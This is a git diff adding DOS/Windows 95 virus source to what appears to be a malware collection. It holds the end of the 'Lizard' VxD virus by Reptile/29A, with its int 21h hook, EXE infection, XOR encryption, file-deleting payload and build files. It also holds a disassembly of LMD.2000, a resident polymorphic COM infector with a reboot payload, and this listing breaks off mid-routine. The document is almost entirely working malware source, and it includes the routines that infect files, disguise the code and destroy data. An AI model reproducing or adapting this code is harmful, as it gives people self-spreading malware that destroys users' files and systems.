+;----------------------------------------------------------------------------- +BeginProc int21h +cmp [ebp.Client_AH],4bh ;exec +je short ww +cmp [ebp.Client_AH],3ch ;create +je short ww +cmp [ebp.Client_AH],6ch ;ext. open +je short ww +cmp [ebp.Client_AH],3eh ;close +je short ww +cmp [ebp.Client_AH],4eh ;find first +je short ww +jmp prevhook + +ww: +Push_Client_State ;save regs +VMMcall Begin_Nest_Exec +;----------------------------------------------------------------------------- +cmp dflag,1 +je done +mov ax,3d02h ;open lzd.vxd +lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir +vxdint 21h +jnc short rd + +mov ax,3d02h ;open the vxd +lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir +vxdint 21h +jnc short rd + +mov ax,3d02h ;open the vxd +lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir +vxdint 21h +jc ecsit ;skip it + +rd: +xchg ax,bx + +mov ah,3fh ;store the header of the vxd +mov cx,vxdhsize +lea edx,vxdheader +vxdint 21h + +mov ax,4201h ;jmp over zeros +xor cx,cx +mov dx,3400 +vxdint 21h + +mov ah,3fh ;store the vxddata +mov cx,vxddsize +lea edx,vxddata +vxdint 21h + +mov ax,4201h ;jmp over realmodecode and zeros +xor cx,cx +mov dx,2037 +vxdint 21h + +mov ah,3fh ;store the vxdcode +mov cx,vxdcsize +lea edx,vxdcode +vxdint 21h + +mov ah,3eh ;close... +vxdint 21h + +mov dflag,1 ;set flag +;----------------------------------------------------------------------------- +done: +mov ah,1ah ;set dta +lea edx,ndta +vxdint 21h + +ffirst: +mov ah,4eh ;search for first exe +jmp short w +fnext: +mov ah,4fh ;find next exe +w: +mov cx,7 +lea edx,wcard ;*.e?e +vxdint 21h +jc ecsit + +mov ax,4301h ;set normal attribute +mov cx,20h +lea edx,[ndta + 30] +vxdint 21h + +cmp pflag,1 ;sux0ring microsuckers +jne pheeew ;(the payload in v1.0 was a bit too destructive ;) + +evil: +;evil payload against the imperialism of microsoft! +mov ah,41h ;yhcrana +lea edx,[ndta + 30] +vxdint 21h +jmp ecsit + +pheeew: +mov ax,3d02h ;open the victim +lea edx,[ndta + 30] +vxdint 21h +jc fnext +xchg ax,bx + +mov ah,3fh ;read header +mov cx,26 +lea edx,header +vxdint 21h + +cmp word ptr [header],'ZM' ;exe? +jne cfile +cmp word ptr [header + 0ch],0ffffh ;allocate all mem? +jne cfile +cmp word ptr [header + 18h],40h ;win exe? +je cfile +mov al,[header + 12h] ;infected? +or al,al +jne cfile + +;save ss:sp +mov ax,word ptr [header + 0eh] +mov sseg,ax +mov ax,word ptr [header + 10h] +mov ssp,ax + +;save cs:ip +mov eax,dword ptr [header + 14h] +mov csip,eax + +mov ax,4202h ;eof +xor cx,cx +cwd +vxdint 21h + +;calc new cs:ip +mov cx,16 +div cx +sub ax,word ptr [header + 8] + +mov word ptr [header + 14h],dx +mov word ptr [header + 16h],ax + +add edx,vend ;calc stack + +mov word ptr [header + 0eh],ax +mov word ptr [header + 10h],dx + +;xor encryption +rdnm: +in al,40h +or al,al +je rdnm +mov [encval],al ;save random value + +mov edi,offset32 encstart +mov cx,esize +xl: +xor [edi],al +inc edi +loop xl + +;write virus +mov ah,40h +mov cx,vsize +mov edx,offset32 start +vxdint 21h + +;undo +mov al,[encval] +mov edi,offset32 encstart +mov cx,esize + +xll: +xor [edi],al +inc edi +loop xll + +mov ax,4202h ;eof +xor cx,cx +cwd +vxdint 21h + +mov cx,512 ;calc pages +div cx +or dx,dx +jz short np +inc ax +np: +mov word ptr [header + 4],ax +mov word ptr [header + 2],dx + +mov ax,4200h ;bof +xor cx,cx +cwd +vxdint 21h + +rnd: +in al,40h ;set infection flag +or al,al +je rnd +mov [header + 12h],al + +mov ah,40h ;write new header +mov cx,26 +lea edx,header +vxdint 21h + +cfile: +mov cl,byte ptr [ndta + 21] ;restore attribute +lea edx,[ndta + 1eh] +mov ax,4301h +vxdint 21h + +mov cx,word ptr [ndta + 22] ;restore time/date +mov dx,word ptr [ndta + 24] +mov ax,5701 +vxdint 21h + +mov ah,3eh ;close file +vxdint 21h +jmp fnext + +ecsit: +VMMcall End_Nest_Exec +Pop_Client_State + +prevhook: +stc +ret +EndProc int21h +;----------------------------------------------------------------------------- +BeginProc LZD_Control +Control_Dispatch Init_Complete,LZD_Device_Init +clc +ret +EndProc LZD_Control +wb db 13,10,'Lizard by Reptile/29A',0 +VxD_Locked_Code_Ends +End ;this is the end my only friend the end... + +;---[RMLZD.ASM]--------------------------------------------------------------- + +;Lizard's real mode portion + +.286 + +vxdhsize equ 701 +vxddsize equ 81 +vxdcsize equ 880 +esize equ encend - encstart +rmsize equ rmend - rmstart + +.model tiny + +.code +org 100h +start: +rmstart: +;get delta +;----------------------------------------------------------------------------- +call $ + 3 +drazil: +pop si +sub si,offset drazil +push si +pop bp +;----------------------------------------------------------------------------- +push ds ;coz psp + +push cs +pop ds + +;decrypt it +db 176 ;mov al +encval db 0 +;----------------------------------------------------------------------------- +lea di,[bp + offset encstart] +mov cx,esize +xd: +jmp fj +fj2: +inc di +loop xd +jmp encstart +fj: +xor [di],al +jmp fj2 +;----------------------------------------------------------------------------- +encstart: +mov ax,3d00h ;try to open lzd.vxd in +lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys +int 21h +jnc cfile ;exit if already installed +mov ah,3ch ;install lzd.vxd +xor cx,cx +int 21h +jnc inst + +mov ax,3d00h ;try to open lzd.vxd in +lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys +int 21h +jnc cfile +mov ah,3ch +xor cx,cx +int 21h +jnc inst + +mov ax,3d00h ;try to open lzd.vxd in +lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys +int 21h +jnc cfile +mov ah,3ch +xor cx,cx +int 21h +jc exit + +inst: +xchg ax,bx + +mov ah,40h ;write the header +mov cx,vxdhsize +lea dx,[bp + offset vxdheader] +int 21h + +;write some zeros +mov cx,3400 +lzero: +push cx +mov ah,40h +mov cx,1 +lea dx,[bp + zero] +int 21h +pop cx +loop lzero + +mov ah,40h ;write the data +mov cx,vxddsize +lea dx,[bp + offset vxddata] +int 21h + +mov ah,40h ;write the rmcode +mov cx,rmsize +lea dx,[bp + offset rmstart] +int 21h + +;write some more zeros +mov cx,1732 +lzero2: +push cx +mov ah,40h +mov cx,1 +lea dx,[bp + zero] +int 21h +pop cx +loop lzero2 + +mov ah,40h ;write the code +mov cx,vxdcsize +lea dx,[bp + offset vxdcode] +int 21h + +cfile: +mov ah,3eh +int 21h + +;exe return +exit: +pop ax ;psp +add ax,11h +dec ax +add word ptr [bp + offset csip + 2],ax + +;stack +db 5 ;add ax +sseg dw 0fff0h ;test +mov ss,ax + +db 0bch ;mov sp +ssp dw 0fffeh + +db 0eah +csip dd 0fff00000h + +zero db 0 + +dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0 +dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0 +dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0 +rmend: +vxdheader db vxdhsize dup (?) +vxddata db vxddsize dup (?) +vxdcode db vxdcsize dup (?) +encend: +ends +end start + +;---[RMLZD.INC]--------------------------------------------------------------- + +;Modified db listing of rmlzd.com + +start: +db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h +db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h +;db 000h +encval db 0 +db 08Dh +db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h +db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh +db 0F7h +encstart: +db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h +db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h +db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh +db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h +db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h +db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h +db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h +db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h +db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h +db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh +db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h +db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh +db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h +db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h +db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh +db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h +db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh +db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h +db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h +db005h +;db 0F0h, 0FFh +sseg dw 0fff0h ;not necessary +db 08Eh, 0D0h, 0BCh +;db 0FEh, 0FFh +ssp dw 0fffeh +db0EAh +;db 000h, 000h, 0F0h, 0FFh +csip dd 0fff00000h +db 000h +;db 063h, 03Ah +;db05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h, 073h +;db05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch +;db069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h +;db05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h +;db000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 039h +;db035h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh +;db05Ch, 069h, 06Fh, 073h, 075h, 062h, 073h, 079h +;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h +;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh +;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h +;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch +;db069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h +;db05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h +;db000h +dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0 +dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0 +dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0 +vxdheader db vxdhsize dup (?) +vxddata db vxddsize dup (?) +vxdcode db vxdcsize dup (?) +encend: +vend: + +;---[LZD.DEF]----------------------------------------------------------------- + +VXD LZD DYNAMIC +DESCRIPTION '' +SEGMENTS + _LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE + _TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE + CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE + _TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE + _BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE + _ITEXT CLASS 'ICODE' DISCARDABLE + _IDATA CLASS 'ICODE' DISCARDABLE + _PTEXT CLASS 'PCODE' NONDISCARDABLE + _PDATA CLASS 'PDATA' NONDISCARDABLE SHARED + _STEXT CLASS 'SCODE' RESIDENT + _SDATA CLASS 'SCODE' RESIDENT + _DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE + _RCODE CLASS 'RCODE' + +EXPORTS + LZD_DDB @1 + +;---[MAKEFILE]---------------------------------------------------------------- + +NAME = lzd + +LINK = LINK + +ASM = ml +AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0 +ASMENV = ML +LFLAGS = /VXD /NOD + +.asm.obj: + set $(ASMENV)=$(AFLAGS) + $(ASM) -Fo$*.obj $< + +all : $(NAME).VXD + +OBJS = lzd.obj + +lzd.obj: lzd.asm + +$(NAME).VxD: $(NAME).def $(OBJS) + link @<<$(NAME).lnk +$(LFLAGS) +/OUT:$(NAME).VxD +/MAP:$(NAME).map +/DEF:$(NAME).def +$(OBJS) +<< + + @del *.exp>nul + @del *.lib>nul + @del *.map>nul + @del *.obj>nul +;... \ No newline at end of file diff --git a/l/LMD-2000.ASM b/l/LMD-2000.ASM new file mode 100755 index 0000000..53e0ddd --- /dev/null +++ b/l/LMD-2000.ASM @@ -0,0 +1,587 @@ +; LMD.2000 + +; Resident Polymorphic COM Infector +; Virus Reroutes Int 21h Handler through Int 84h and uses Int 84h for +; virus function calls. Int 21h Function 4Bh (Set Execution State) is hooked +; for infection routine. Virus prepends its body to files and writes 2000 +; original bytes to end of file. Polymorphic routine makes 128 random +; one byte instructions and then fills in crypt information. + +; Cleaning Instructions - Overwrite First 2000 Bytes with Last 2000 Bytes +; Detection - No scanners detect this beastie yet. + +; Research and Disassembly by PakiLad 05/03/97 + +p386n + + +seg000 segment byte public 'CODE' use16 + assume cs:seg000 + org 100h + assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing + +start: + db 128 dup (90h) ; Buffer For Cryptor +CryptedCode: + jmp VirusStart +OneByteTable db 26h ; SEGES + db 27h ; DAA + db 2Eh ; SEGCS + db 2Fh ; DAS + db 0FBh ; STI + db 37h ; AAA + db 3Eh ; SEGDS + db 3Fh ; AAS + db 40h ; INC AX + db 42h ; INC DX + db 46h ; INC SI + db 48h ; DEC AX + db 4Ah ; DEC DX + db 4Eh ; DEC SI + db 90h ; NOP + db 92h ; XCHG AX, DX +InfMarker db 'LMD' + +GetRand15 proc near + push cx + in ax, 40h ; Get Random Number + xchg ax, cx + +MakeRandLoop: + xor ax, cx + loop MakeRandLoop + xchg ax, cx + in ax, 40h ; Get Random Number + inc cx + xor ax, cx + and ax, 0Fh ; Number 0 - 15 + pop cx + retn +GetRand15 endp + +GetOneByteIns proc near + push di + mov di, offset OneByteTable + call GetRand15 + add di, ax + mov al, cs:[di] + pop di + retn +GetOneByteIns endp + +CopyOverVir proc near + push bx + push es + push ds + nop + push cs + pop es ; ES = CS + assume es:seg000 + mov di, offset Buffer+10h + mov si, offset start + 10h + mov cx, 2000 + rep movsb + push ds + pop ax + add ax, 126 + mov [RestoreSeg + 10h], ax + mov al, [LastByte + 10h] + push ax + push cs + mov ax, offset StoreLastByte + 10h + push ax + mov [LastByte + 10h], 0CBh + jmp near ptr JMPFarProg +CopyOverVir endp + + +StoreLastByte: + pop ax + pop ds + mov [LastByte + 10h], al + pop es + assume es:nothing + pop bx + retn + +CheckGeneration proc near + in al, 40h ; Get Random Number + cmp al, 240 ; Below 240? + jb RandBelow240 ; Yes? Then JMP. + call GenerateCryptor + call GenerateCryptor + push dx + db 8Dh, 16h, 88h, 02h ; (FIXUP) LEA DX, OFFSET FAKE4DOSGW + mov ah, 9 + int 21h ; Write Fake Message + pop dx + +RandBelow240: + retn +CheckGeneration endp + + +SetupInt84 proc near + push es + push bx + push di + xor ax, ax + mov di, 211h ; Offset of INT 84h + push ds + mov ds, ax ; DS points to IVT + assume ds:nothing + cmp word ptr [di], 0 ; Is Virus Installed? + jnz AlreadyInMem ; Yes? Then JMP. + mov ax, 3521h + int 21h ; Get Int 21h Vectors + dec di + mov ax, es + mov [di], bx ; Set New Int 84h Offset + inc di + inc di + mov [di], ax ; Set New Int 84h Segment + cmp ax, ax + +AlreadyInMem: + pop ds + assume ds:seg000 + pop di + pop bx + pop es + retn +SetupInt84 endp + +InstallVirus proc near + push si + push di + push bx + mov ax, 5803h + xor bx, bx + int 21h ; Get UMB Link Status + push es + push dx + mov ax, 3521h + int 21h ; Get Int 21h Vectors + mov ax, es + mov cs:Int21Ofs, bx + mov cs:Int21Seg, ax + push ds + push ds + pop ax + dec ax + mov ds, ax ; DS points to MCB + assume ds:nothing + sub word ptr ds:3, 272 ; Subtract 4352 Bytes + sub word ptr ds:12h, 272 ; Subtract 4352 Bytes From Next Seg + mov es, ds:12h ; ES points to Next Segment + xor di, di + xor si, si + mov cx, 2272 + rep movsb ; Copy Virus Into Memory + xor ax, ax + mov ds, ax ; DS points to IVT + assume ds:nothing + sub word ptr ds:413h, 5 ; Subtract 5k From System Memory + mov word ptr es:1, 0 ; Set New PSP Segment + mov word ptr es:3, 272 ; Allocate 4352 Bytes + push es + pop ds ; DS = ES + assume ds:seg000 + mov ax, 2521h + mov dx, offset NewInt21 + 10h + int 21h ; Set New Int 21h Vectors + pop ds + pop dx + pop es + pop bx + pop di + pop si + retn +InstallVirus endp + +FakeDOS4GW db 0Ah + db 'DOS/4GW Protected Mode Run-time Version 1.95',0Dh,0Ah + db 'Copyright (c) Rational Systems, Inc. 1990-1993',0Dh,0Ah + db 0Dh,0Ah,'$' +JMPFarProg db 0EAh +RestoreOfs dw 100h +RestoreSeg dw 0 + +RestoreRoutine: + rep movsb + pop di + pop si + pop cx + jmp short $+2 +FileSize dw 0 + +NewInt24: + mov al, 3 + iret + db 37h + +VirusStart: + call CheckGeneration + in al, 40h ; Get Random Number + cmp al, 16 ; Above 16? + ja NoPayload ; Yes? Then JMP. + mov ax, 11h + int 10h ; Set Video Mode 80x13 + mov ax, 0A000h + mov es, ax ; ES points to Video Memory + assume es:nothing + mov di, 3222h + mov si, offset Graphic + mov cx, 80 + +DisplayGraphic: + push cx + mov cx, 80 + +DisplayLine: + cmp cx, 69 + jb Below69 + mov al, [si] + inc si + mov es:[di], al + +Below69: + inc di + loop DisplayLine + pop cx + loop DisplayGraphic + mov ah, 9 + mov dx, offset LozMustDie + int 21h ; Write String + xor ax, ax + int 16h ; Wait For KeyPress + jmp near ptr Reboot +LozMustDie db 9,9,0Ah + db 9,0Ah + db 0Ah + db 0Ah + db 7,' Lozinsky MuST DiE!$' + +NoPayload: + xor ax, ax + call GenerateCryptor + call SetupInt84 + jnz RestoreProg + call InstallVirus + +RestoreProg: + mov si, offset start + mov di, 0FFFEh + xor dx, dx + push cx + push si + push di + push cs + pop es + assume es:seg000 + mov si, offset RestoreRoutine + mov di, 0F9h + mov cx, 7 + rep movsb ; Copy Restore Routine + mov si, [si] + mov di, offset start + add si, di + mov cx, 2000 + db 0E9h,069h,0FDh ; JMP To Restore Routine + +NewInt21: + cmp ax, 4B00h ; Set Execution State? + jz InfectFile ; Yes? Then JMP. +JMPFar21 db 0EAh +Int21Ofs dw 0 +Int21Seg dw 0 + +InfectFile: + pushf + push ax + push bx + push cx + push es + push si + push di + push dx + push ds + push cs + pop ds + mov dx, offset NewInt24 + 10h + mov ax, 2524h + int 84h ; Set New Int 24h + pop ds + pop dx + push dx + push ds + mov ax, 4300h + push ax + int 84h ; Get File Attributes + pop ax + inc ax + push ax + push cx + and cl, 0D8h + int 84h ; Clear File Attributes + jb FileProblems ; Problems? Then JMP. + mov ax, 3D02h + int 84h ; Open File + xchg ax, bx + mov ax, 5700h + int 84h ; Get File Date/Time + push cx + push dx + push cs + pop ds ; DS = CS + mov cx, 128 + mov dx, offset Buffer+10h + mov ah, 3Fh + int 84h ; Read In 128 Bytes + cmp cx, ax ; Read 128 ? + jnz RestoreTD ; No? Then JMP. + mov al, [Buffer+10h] + cmp al, 'M' ; EXE File? + jz RestoreTD ; Yes? Then JMP. + cmp al, 'Z' ; EXE File? + jz RestoreTD ; Yes? Then JMP. + call CheckForMark + jz RestoreTD ; Infected Already? Then JMP. + call DoInfect + call NotBigEnough + +RestoreTD: + pop dx + pop cx + mov ax, 5701h + int 84h ; Restore File Date/Time + mov ah, 3Eh + int 84h ; Close File + +FileProblems: + pop cx + pop ax + int 84h ; Restore File Attributes + pop ds + pop dx + pop di + pop si + pop es + assume es:nothing + pop cx + pop bx + pop ax + popf + jmp short near ptr JMPFar21 + +CheckForMark proc near + push di + push si + mov di, offset InfMarker + mov cx, 16 + +FindMark: + mov al, [di] + push cx + mov si, offset Buffer+10h + mov cx, 128 + +CheckForMarker: + mov ah, [si] + cmp al, ah + jz FoundMark + inc si + loop CheckForMarker + cmp ax, cx + pop cx + jmp short DoneWithMark + +FoundMark: + pop cx + inc di + loop FindMark + cmp ax, ax + +DoneWithMark: + pop si + pop di +CheckForMark endp + +NotBigEnough proc near + retn +NotBigEnough endp + +DoInfect proc near + mov cx, 1872 + mov dx, offset OrgProgram+10h + mov ah, 3Fh + int 84h ; Read In 1872 Bytes + cmp ax, cx ; Read 1872? + jnz NotBigEnough ; No? Then JMP. + xor cx, cx + xor dx, dx + mov ax, 4202h + int 84h ; Move Pointer to End of File + jb NotBigEnough + cmp dx, 0 ; Over 64k? + jnz NotBigEnough ; Yes? Then JMP. + cmp ax, 2048 ; Under 2048 Bytes? + jb NotBigEnough ; Yes? Then JMP. + cmp ax, 60000 ; Over 60000 Bytes? + ja NotBigEnough ; Yes? Then JMP. + cmp Buffer+30h, 0 + jz NotBigEnough + mov [FileSize + 10h], ax + mov ah, 40h + mov dx, offset Buffer+10h + mov cx, 2000 + int 84h ; Write Original Bytes To End of File + jb NotBigEnough + call CopyOverVir + xor cx, cx + xor dx, dx + mov ax, 4200h + int 84h ; Move Pointer to Beginning + mov ah, 40h + mov dx, offset Buffer+10h + mov cx, 2000 + int 84h ; Write Virus to File + retn +DoInfect endp + +Graphic db 0, 30h, 0Bh dup(0), 20h, 2 dup(0), 1Ah, 0FBh, 0EBh, 9Fh, 90h, 4 dup(0) + db 20h, 2 dup(0), 47h, 2 dup(25h), 0FDh, 0AAh, 4 dup(0), 0E0h, 0, 7, 0FAh + db 12h, 92h, 22h, 54h, 80h, 3 dup(0), 0C0h, 0Ch, 4, 0, 0A8h, 4Ah, 94h + db 55h, 40h, 3 dup(0), 0C0h, 8, 0Dh, 5Ah, 45h, 2 dup(55h), 0AAh, 0A0h + db 3 dup(0), 0C0h, 0FBh, 0F2h, 4, 95h, 54h, 0AAh, 5Dh, 0A0h, 3 dup(0) + db 0DDh, 80h, 28h, 0A2h, 49h, 2 dup(55h), 2 dup(0AAh), 3 dup(0), 0D7h + db 0Ah, 2, 19h, 25h, 5Dh, 4Ah, 6Dh, 0A4h, 3 dup(0), 0E6h, 0, 0A8h, 84h + db 95h, 7Ah, 0AAh, 56h, 0D0h, 3 dup(0), 0C0h, 48h, 2, 59h, 52h, 8Bh, 55h + db 0BAh, 0AAh, 4 dup(0), 2, 90h, 4, 4Ah, 7Dh, 55h, 6Fh, 64h, 4 dup(0) + db 24h, 25h, 5Ah, 2 dup(0AAh), 0ABh, 0B5h, 0B0h, 4 dup(0), 3 dup(1), 2Ah + db 0D5h, 0AAh, 5Ah, 0AAh, 4 dup(0), 40h, 8, 99h, 55h, 5Ah, 0DAh, 0DBh + db 53h, 4 dup(0), 15h, 52h, 44h, 0AAh, 0ABh, 57h, 0AAh, 0A9h, 80h, 4 dup(0) + db 89h, 22h, 55h, 6Dh, 55h, 5Eh, 0AAh, 0C0h, 2 dup(0), 4, 42h, 24h, 99h + db 56h, 0B5h, 56h, 0EAh, 0D1h, 5 dup(0), 91h, 25h, 5Bh, 2 dup(0AAh), 0D5h + db 4Ah, 40h, 4 dup(0), 8, 81h, 2Ah, 0AAh, 95h, 2Eh, 0E9h, 4 dup(0), 1 + db 45h, 24h, 4, 56h, 0DAh, 0E9h, 54h, 80h, 2 dup(0), 8, 80h, 20h, 0, 21h + db 55h, 56h, 0DDh, 0B6h, 3 dup(0), 2, 8, 0Ah, 2 dup(0), 2Ah, 0BBh, 0AAh + db 0D4h, 80h, 4 dup(0), 40h, 44h, 1, 9, 55h, 56h, 0AAh, 40h, 2 dup(0) + db 8, 5, 1, 0, 80h, 25h, 6Dh, 0BBh, 69h, 3 dup(0), 2, 0, 0Ch, 0A0h, 5 + db 6, 92h, 0C9h, 54h, 4 dup(0), 20h, 26h, 4, 0, 0A0h, 4Ah, 0D4h, 20h, 90h + db 2 dup(0), 4, 1, 19h, 61h, 0, 9, 24h, 6Bh, 55h, 1, 3 dup(0), 40h, 45h + db 4, 10h, 0C4h, 49h, 0A4h, 94h, 2Fh, 3 dup(0), 14h, 2Ah, 59h, 0, 20h + db 0E0h, 4Bh, 68h, 0A5h, 2 dup(0), 2 dup(1), 54h, 0A0h, 1, 48h, 2, 0AAh + db 0B4h, 32h, 3 dup(0), 20h, 0AAh, 5Ah, 90h, 24h, 5, 0B5h, 0A9h, 55h, 3 dup(0) + db 8Ah, 55h, 58h, 44h, 92h, 95h, 0AAh, 0A4h, 22h, 3 dup(0), 1, 6Ah, 26h + db 82h, 4Ch, 6Ah, 16h, 0B4h, 0D4h, 2 dup(0), 1, 55h, 0ADh, 9Ah, 51h, 20h + db 95h, 0EAh, 0AAh, 0B1h, 3 dup(0), 2, 0AAh, 0BDh, 2Ah, 54h, 56h, 2Ah + db 0A9h, 59h, 3 dup(0), 15h, 55h, 42h, 0A9h, 25h, 52h, 0D5h, 55h, 0EAh + db 3 dup(0), 49h, 6Dh, 5Dh, 4Ah, 94h, 0ADh, 2Ah, 49h, 34h, 3 dup(0), 25h + db 56h, 0A4h, 55h, 6Ah, 0D5h, 0A9h, 25h, 0ABh, 3 dup(0), 55h, 75h, 42h + db 0Bh, 0C5h, 2Ah, 0D4h, 92h, 0A0h, 2 dup(0), 1, 13h, 0ADh, 59h, 40h, 22h + db 0D5h, 42h, 0AAh, 47h, 3 dup(0), 4Ah, 0F6h, 0E4h, 2Ah, 95h, 5Ah, 94h + db 95h, 15h, 3 dup(0), 2Bh, 55h, 0BBh, 89h, 55h, 45h, 8Ah, 54h, 0ABh, 3 dup(0) + db 9, 2Ah, 86h, 0A4h, 25h, 55h, 51h, 55h, 17h, 3 dup(0), 2, 0, 3Bh, 2 dup(49h) + db 53h, 0A5h, 55h, 6Ah, 3 dup(0), 40h, 0Ah, 0DDh, 0A5h, 4, 0AAh, 55h, 54h + db 0AAh, 4 dup(0), 41h, 27h, 51h, 69h, 25h, 0CAh, 0A9h, 50h, 3 dup(0) + db 9, 2Ah, 0DAh, 0EAh, 0A4h, 0ABh, 12h, 40h, 5 dup(0), 4Ah, 5Fh, 54h, 52h + db 53h, 55h, 28h, 5 dup(0), 25h, 60h, 0AAh, 0A9h, 49h, 0D4h, 80h, 4 dup(0) + db 4, 0, 26h, 95h, 2Ah, 0AAh, 69h, 48h, 4 dup(0), 1, 41h, 2 dup(0), 0A9h + db 29h, 2 dup(24h), 4 dup(0), 10h, 15h, 2 dup(65h), 54h, 0A4h, 52h, 82h + db 4 dup(0), 2, 0AAh, 0A5h, 90h, 2 dup(0AAh), 29h, 15h, 4 dup(0), 10h + db 5, 5Ah, 6Ah, 0A1h, 25h, 52h, 51h, 0F8h, 3 dup(0), 1, 20h, 45h, 92h + db 54h, 92h, 0C4h, 0ABh, 8Fh, 3 dup(0), 8, 15h, 25h, 55h, 25h, 54h, 0A1h + db 25h, 80h, 3 dup(0), 5, 42h, 0A5h, 6Ah, 0A8h, 12h, 94h, 0A9h, 0C0h, 3 dup(0) + db 5, 55h, 5Ah, 2 dup(0AAh), 0A4h, 4Ah, 0A9h, 0C0h, 3 dup(0), 11h, 55h + db 0A5h, 2 dup(0AAh), 49h, 0AAh, 0A3h, 0E0h, 3 dup(0), 4, 0AAh, 0A6h, 0B5h + db 55h, 23h, 0D5h, 55h, 0E0h, 3 dup(0), 2, 2Dh, 0BAh, 0AAh, 0A2h, 4Ah + db 54h, 0A3h, 0E0h, 3 dup(0), 8, 0A5h, 5Ah, 0A4h, 94h, 25h, 0AAh, 0ABh + db 0E0h, 3 dup(0), 1, 2Ah, 0A5h, 52h, 41h, 56h, 55h, 57h, 0F0h, 4 dup(0) + db 25h, 59h, 24h, 14h, 8Ah, 55h, 57h, 0F0h, 4 dup(0), 40h, 22h, 40h, 82h + db 5Dh, 0AAh, 0AFh, 0F8h, 4 dup(0), 9, 4, 10h, 11h, 6Ah, 55h, 5Fh, 0F8h + db 6 dup(0), 1, 4Ah, 0ADh, 0D5h, 3Fh, 0F8h, 6 dup(0), 4, 0AEh, 0AAh, 2Ah + db 0BFh, 0F8h, 6 dup(0), 15h, 2Ah, 0D5h, 0AAh, 7Fh, 0F8h, 5 dup(0), 20h + db 0A2h, 55h, 2Ah, 54h, 0FFh, 0F8h, 4 dup(0), 3, 0FCh, 49h, 2Ah, 0AAh + db 53h, 0FFh, 0F8h, 4 dup(0), 3, 0FEh, 92h, 91h, 55h, 0A3h, 0FFh, 0F8h + db 4 dup(0), 3, 0FFh, 48h, 4Dh, 4Ah, 4Fh, 0FFh, 0F8h, 4 dup(0), 3, 0FFh + db 0A5h, 25h, 55h, 9Bh, 0DDh, 18h, 4 dup(0), 3, 0FFh, 0D4h, 0AAh, 0A8h + db 7Bh, 0C9h, 68h, 4 dup(0), 3, 0FFh, 0FAh, 44h, 0A5h, 0FBh, 0C1h, 68h + db 4 dup(0), 3, 0FFh, 0FAh, 95h, 53h, 0FBh, 55h, 68h, 4 dup(0), 3, 2 dup(0FFh) + db 52h, 8Fh, 0F8h, 5Dh, 18h, 4 dup(0), 3, 2 dup(0FFh), 0A4h, 5Fh, 2 dup(0FFh) + db 0F8h, 0, 0Bh dup(0FFh) +Reboot db 0EAh ; Reboot Computer + dw 0 + dw 0FFFFh + +GenerateCryptor proc near + push di + push ds + push cs + pop ds + mov di, offset start + mov cx, 128 + push di + 